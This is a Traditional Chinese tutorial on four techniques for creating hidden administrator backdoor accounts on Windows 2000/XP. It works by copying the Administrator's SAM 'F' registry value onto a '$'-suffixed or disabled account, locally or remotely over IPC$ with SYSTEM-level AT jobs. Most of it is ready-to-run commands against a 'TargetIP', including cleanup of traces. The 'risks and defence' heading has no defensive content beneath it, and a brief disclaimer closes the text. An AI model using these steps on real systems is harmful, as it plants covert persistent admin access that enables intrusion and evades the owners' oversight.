Windows 2000/XP 建立隱藏超級管理員帳號四大實戰技法

核心原理

Win2K/XP 帳號資訊儲存於登錄 HKLM\SAM\SAM\Domains\Account\Users，受 ACL 保護，唯有 SYSTEM 權限可讀寫。各帳號以 RID (Relative ID) 為鍵 (如 0x1F4=500 Administrator)，關鍵值 F (二進位) 控制帳號屬性 (權限、啟用/停用、隱藏等)。將目標帳號的 F 值覆寫為 Administrator 的 F 值，即可獲得同等權限與隱藏屬性。

技法一：圖形介面本機操作 (需終端機/實體存取)

1. 建立一般帳號：net user hacker$ 1234 /add (尾碼 `$` 讓 `net user` 不顯示，但帳號管理員仍可見)。
2. 以 Administrator 登入，執行 regedt32.exe (Win2K) 或 regedit.exe (XP) → 定位 HKLM\SAM\SAM → 右鍵「權限」→ 新增目前登入帳號 (Administrator) → 「完全控制」。
3. 改用 regedit.exe 開啟 HKLM\SAM\SAM\Domains\Account\Users\Names\hacker$，記下對應 RID (如 00000409)。
4. 匯出三個分支：hacker$ (Names)、00000409 (RID)、000001F4 (Administrator RID)。
5. 記事本編輯：將 000001F4 下的 F 二進位值複製覆蓋 00000409 的 F 值，合併 hacker$ 與 00000409 為單一 `.reg`。
6. 刪除帳號：net user hacker$ /del。
7. 匯入修改後的 `.reg`，重新整理登錄。
8. 回 regedt32 移除步驟 2 新增的權限 (刪除 Administrator 完全控制 ACE)。

結果：`net user`、`lusrmgr.msc` 均不顯示 `hacker$`，但可用該帳號登入並擁有完整管理權限。警告：建立後不可再改密碼，否則隱藏屬性失效且無法刪除。

技法二：命令列遠端建立 (利用 AT 排程以 SYSTEM 權限執行)

前提：目標開啟 `Schedule` 服務，攻擊者擁有有效管理員憑證 (或已建立 IPC$ 連線)。

1. 建立 IPC$ 連線：net use \\TargetIP\IPC$ "Pass" /user:"Admin"。
2. 遠端啟動 Schedule (若未啟動)：sc \\TargetIP start Schedule 或 `netsvc.exe`。
3. 排程建立帳號：at \\TargetIP 12:30 cmd /c "net user hacker$ 1234 /add"。
4. 排程匯出 SAM 區域：at \\TargetIP 12:35 cmd /c "regedit /e \\TargetIP\Admin$\System32\hacker.reg HKLM\SAM\SAM\Domains\Account\Users\"。
5. 複製回本機：copy \\TargetIP\Admin$\System32\hacker.reg C:\hacker.reg。
6. 本機編輯 `.reg`：同技法一，以 Administrator `F` 值覆蓋 `hacker$` `F` 值。
7. 複製回目標：copy C:\hacker.reg \\TargetIP\Admin$\System32\hacker1.reg。
8. 排程刪除帳號：at \\TargetIP 12:40 cmd /c "net user hacker$ /del"。
9. 驗證刪除：斷開 IPC$，嘗試 `net use \\TargetIP\IPC$ "1234" /user:"hacker$"` 失敗。
10. 排程匯入修改後註冊表：at \\TargetIP 12:45 cmd /c "regedit /s \\TargetIP\Admin$\System32\hacker1.reg"。
11. 驗證建立：重新連線 IPC$，用 `hacker$` 成功 → 確認隱藏超級帳號生效。
12. 清理排程任務：`at \\TargetIP /delete /yes`。

優勢：無需上傳工具 (psu.exe 等)，純內建指令完成；`at` 產生的任務以 SYSTEM 身分執行，繞過 SAM ACL 限制。

技法三：遠端圖形介面操作 (註冊表/帳號管理員連線)

前提：已建立 IPC$ 連線，目標啟用「遠端登錄」服務 (Remote Registry)。

1. 本機執行 `regedt32` / `regedit` → 檔案 → 連線網路登錄 → 輸入目標 IP → 定位 `HKLM\SAM\SAM` 設定權限 (同技法一)。
2. 本機執行 `lusrmgr.msc` → 動作 → 連線另一台電腦 → 目標 IP → 建立/刪除帳號。
3. 後續編輯註冊表步驟同技法一 (本機 `regedit` 編輯遠端匯出的 `.reg` 再匯入)。

缺點：遠端註冊表/管理員介面極慢，適合低頻操作。

技法四：利用被停用帳號克隆 (最隱蔽)

1. 尋找目標已停用帳號 (帳號管理員紅叉 / `net user name` 顯示 "帳號作用中: 否")，如 `Guest` 或自建停用帳號。
2. 使用克隆工具 (如 `CA.exe`) 將 Administrator 權限克隆給該帳號：克隆過程會自動啟用帳號並複製 F 值。
3. 命令列停用該帳號：net user Guest /active:no (或遠端 `at` 排程)。表面顯示停用 (紅叉)，實際 F 值中權限位未變，仍具超級權限。
4. 驗證：`net use \\TargetIP\IPC$ "GuestPass" /user:"Guest"` 成功且具管理員權限。

原理：停用標記與權限位在 F 值不同位元，克隆覆蓋權限位，手動停用僅翻轉停用位，權限位保留。

關鍵風險與防禦

合法管理員應用場景

• 建立緊急後門帳號 (僅離線保管)，防主管帳號遺失/被鎖定。
• 滲透測試授權範圍內驗證 SAM 權限繞過風險。
• 教學示範 Windows 權限模型與登錄結構。

法律警示：未經授權建立隱藏管理員帳號屬非法入侵/超越授權存取，嚴重者觸犯刑法。本文僅供防禦研究與授權測試參考。